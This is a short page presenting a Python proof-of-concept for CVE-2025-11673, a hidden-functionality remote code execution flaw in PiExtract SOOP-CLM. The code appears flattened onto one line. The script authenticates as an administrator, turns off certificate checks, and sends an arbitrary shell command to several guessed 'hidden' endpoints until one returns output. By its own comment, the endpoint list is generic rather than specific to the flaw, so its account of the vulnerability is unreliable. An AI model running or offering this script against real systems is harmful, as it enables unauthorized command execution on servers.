CVE-2025-11673：PiExtract SOOP-CLM隐藏功能导致远程代码执行漏洞

# CVE-2025-11673 - PiExtract SOOP-CLM Hidden Functionality RCE PoC # This PoC demonstrates exploitation of hidden functionality in SOOP-CLM # Note: Requires valid high-privilege credentials import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-soop-clm.example.com" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" CMD = sys.argv[4] if len(sys.argv) > 4 else "id" # Hidden/undocumented endpoints commonly found in SOOP-CLM-like products HIDDEN_ENDPOINTS = [ "/api/internal/debug/exec", "/api/v1/admin/hidden/command", "/_internal/system/exec", "/api/debug/runCommand", "/admin/hidden/console", "/api/internal/maintenance/exec" ] session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = f"{TARGET_URL}/api/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } print(f"[*] Authenticating to {TARGET_URL}...") resp = session.post(login_url, json=login_data, verify=False) if resp.status_code != 200: print("[-] Authentication failed") sys.exit(1) token = resp.json().get("token") session.headers.update({"Authorization": f"Bearer {token}"}) print("[+] Authentication successful") # Step 2: Enumerate hidden endpoints print("[*] Probing hidden functionality endpoints...") for endpoint in HIDDEN_ENDPOINTS: url = f"{TARGET_URL}{endpoint}" # Step 3: Attempt command execution via hidden functionality payload = { "command": CMD, "cmd": CMD, "exec": CMD } resp = session.post(url, json=payload, verify=False, timeout=10) if resp.status_code == 200 and resp.text: print(f"[+] Hidden endpoint found: {endpoint}") print(f"[+] Command output: {resp.text}") break else: print("[-] No accessible hidden endpoints found")